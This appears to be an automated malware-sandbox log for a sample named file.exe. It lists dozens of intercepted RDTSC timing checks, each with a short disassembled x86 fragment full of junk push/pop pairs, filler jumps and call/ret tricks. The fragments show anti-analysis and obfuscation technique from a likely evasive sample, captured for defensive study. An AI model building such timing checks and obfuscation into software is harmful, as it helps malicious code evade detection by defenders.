Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88B6D second address: BAEB6F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007FE3588107D2h 0x00000010 pop eax 0x00000011 stc 0x00000012 push dword ptr [ebp+122D0095h] 0x00000018 clc 0x00000019 call dword ptr [ebp+122D1D02h] 0x0000001f pushad 0x00000020 mov dword ptr [ebp+122D1C5Ch], edx 0x00000026 xor eax, eax 0x00000028 cld 0x00000029 mov edx, dword ptr [esp+28h] 0x0000002d cld 0x0000002e mov dword ptr [ebp+122D2B1Dh], eax 0x00000034 or dword ptr [ebp+122D1D20h], eax 0x0000003a mov dword ptr [ebp+122D1BFBh], eax 0x00000040 mov esi, 0000003Ch 0x00000045 clc 0x00000046 js 00007FE3588107CEh 0x0000004c add esi, dword ptr [esp+24h] 0x00000050 pushad 0x00000051 or ecx, 5519755Dh 0x00000057 xor dl, FFFFFFB1h 0x0000005a popad 0x0000005b lodsw 0x0000005d pushad 0x0000005e jmp 00007FE3588107D3h 0x00000063 popad 0x00000064 add eax, dword ptr [esp+24h] 0x00000068 pushad 0x00000069 mov dword ptr [ebp+122D1D20h], esi 0x0000006f mov esi, dword ptr [ebp+122D2A29h] 0x00000075 popad 0x00000076 mov ebx, dword ptr [esp+24h] 0x0000007a jmp 00007FE3588107D2h 0x0000007f or dword ptr [ebp+122D1BFBh], edi 0x00000085 push eax 0x00000086 js 00007FE3588107D4h 0x0000008c push eax 0x0000008d push edx 0x0000008e push eax 0x0000008f push edx 0x00000090 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E6CC second address: D8E6D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D97C second address: D8D9D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FE3588107C6h 0x0000000a popad 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FE3588107D7h 0x00000015 popad 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FE3588107D7h 0x0000001f jmp 00007FE3588107D7h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D9D6 second address: D8D9DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8DCC3 second address: D8DCFA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007FE3588107CAh 0x0000000e jl 00007FE3588107C8h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pushad 0x00000018 pushad 0x00000019 jmp 00007FE3588107CAh 0x0000001e jnc 00007FE3588107C6h 0x00000024 jc 00007FE3588107C6h 0x0000002a popad 0x0000002b push edi 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E550 second address: D8E55B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE3589D55B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E55B second address: D8E563 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E563 second address: D8E567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9B226 second address: D9B22E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9B22E second address: D9B249 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007FE3589D55C1h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D99C23 second address: D99C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FE3588107C6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D99C33 second address: D99C39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D99C39 second address: D99C66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FE3588107D9h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE3588107CBh 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D99C66 second address: D99C72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D99C72 second address: D99C76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D99C76 second address: D99CA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FE3589D55BAh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE3589D55C1h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D99CA8 second address: D99CB5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE3588107C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D99CB5 second address: D99CBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9AEAF second address: D9AEE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FE3588107E2h 0x0000000b jc 00007FE3588107C8h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push edx 0x00000015 jc 00007FE3588107CCh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F8FE second address: D9F902 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D0A4 second address: D1D0BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE3588107D4h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D0BD second address: D1D0C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FE3589D55B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D0C7 second address: D1D0D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jng 00007FE3588107DDh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5DE7A second address: D5DE7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5DE7F second address: D4679F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE3588107C6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007FE3588107C8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov dh, C7h 0x0000002a push ebx 0x0000002b movsx edx, si 0x0000002e pop ecx 0x0000002f call dword ptr [ebp+122D3738h] 0x00000035 jbe 00007FE3588107DCh 0x0000003b jno 00007FE3588107CCh 0x00000041 push ecx 0x00000042 jc 00007FE3588107C6h 0x00000048 push edx 0x00000049 pop edx 0x0000004a pop ecx 0x0000004b pushad 0x0000004c jns 00007FE3588107C8h 0x00000052 push eax 0x00000053 push edx 0x00000054 push ebx 0x00000055 pop ebx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E4FD second address: D5E520 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 add dword ptr [esp], 770C6CD9h 0x0000000e mov edx, edi 0x00000010 call 00007FE3589D55B9h 0x00000015 jnp 00007FE3589D55C0h 0x0000001b push eax 0x0000001c push edx 0x0000001d push esi 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E520 second address: D5E535 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE3588107CBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E535 second address: D5E573 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 ja 00007FE3589D55B6h 0x0000000f popad 0x00000010 popad 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push edx 0x00000016 jmp 00007FE3589D55BBh 0x0000001b pop edx 0x0000001c mov eax, dword ptr [eax] 0x0000001e push eax 0x0000001f push edx 0x00000020 push ebx 0x00000021 jmp 00007FE3589D55C6h 0x00000026 pop ebx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E573 second address: D5E584 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE3588107CDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E584 second address: D5E596 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f push eax 0x00000010 pop eax 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E85F second address: D5E863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E863 second address: D5E869 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E869 second address: D5E86F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E86F second address: D5E873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E873 second address: D5E877 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E877 second address: D5E8BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007FE3589D55C2h 0x00000011 mov eax, dword ptr [eax] 0x00000013 push ebx 0x00000014 jnc 00007FE3589D55BCh 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f pushad 0x00000020 jnc 00007FE3589D55C1h 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E8BF second address: D5E8C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E9E4 second address: D5EA07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE3589D55C6h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EAC7 second address: D5EACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EACB second address: D5EAD9 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE3589D55B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EAD9 second address: D5EAE7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EAE7 second address: D5EAEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EAEB second address: D5EAF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EAF1 second address: D5EB19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edx, ebx 0x0000000c push 00000004h 0x0000000e jc 00007FE3589D55BBh 0x00000014 and dx, 9935h 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push eax 0x0000001e pop eax 0x0000001f pop eax 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EB19 second address: D5EB2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE3588107D0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EE76 second address: D5EE85 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE3589D55B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F278 second address: D5F28D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 js 00007FE3588107C6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F28D second address: D5F291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F291 second address: D5F2A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F2A7 second address: D5F2C8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE3589D55B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov edi, ebx 0x0000000d lea eax, dword ptr [ebp+12482B4Dh] 0x00000013 mov edi, dword ptr [ebp+122D2B95h] 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push edi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F2C8 second address: D5F2CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F2CD second address: D5F32C instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE3589D55B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007FE3589D55B8h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 mov ecx, edx 0x00000029 lea eax, dword ptr [ebp+12482B09h] 0x0000002f push 00000000h 0x00000031 push ecx 0x00000032 call 00007FE3589D55B8h 0x00000037 pop ecx 0x00000038 mov dword ptr [esp+04h], ecx 0x0000003c add dword ptr [esp+04h], 00000016h 0x00000044 inc ecx 0x00000045 push ecx 0x00000046 ret 0x00000047 pop ecx 0x00000048 ret 0x00000049 sub di, 7151h 0x0000004e push eax 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F32C second address: D5F330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F330 second address: D472BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FE3589D55C2h 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 add dx, 3975h 0x00000017 call dword ptr [ebp+12454CE7h] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D472BF second address: D472DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FE3588107C6h 0x0000000a popad 0x0000000b jmp 00007FE3588107D4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9EAFB second address: D9EB01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9EB01 second address: D9EB0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jc 00007FE3588107C6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F1CF second address: D9F1D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F1D4 second address: D9F1DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F1DA second address: D9F1F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007FE3589D55BCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5464 second address: DA5468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA454F second address: DA4556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4556 second address: DA456A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FE3588107C6h 0x0000000a jmp 00007FE3588107CAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA456A second address: DA458D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 jmp 00007FE3589D55BCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA458D second address: DA45A1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE3588107C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e jbe 00007FE3588107C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA470A second address: DA471C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FE3589D55B6h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA489D second address: DA48B5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE3588107C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE3588107CCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4CE7 second address: DA4CED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4CED second address: DA4CF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4CF1 second address: DA4D09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55BEh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA8960 second address: DA896F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE3588107CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16733 second address: D16737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16737 second address: D16741 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE3588107CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABA6C second address: DABA70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB4B4 second address: DAB4BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB4BA second address: DAB4C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB5ED second address: DAB5F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12FF3 second address: D1301B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE3589D55C5h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007FE3589D55B6h 0x00000012 ja 00007FE3589D55B6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1301B second address: D1304B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007FE3588107CEh 0x0000000e jmp 00007FE3588107D7h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1304B second address: D13077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007FE3589D55C8h 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 ja 00007FE3589D55B8h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAFD9D second address: DAFDAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE3588107CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB028E second address: DB0293 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0293 second address: DB0299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0299 second address: DB02AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007FE3589D55B6h 0x0000000d jo 00007FE3589D55B6h 0x00000013 rdtsc
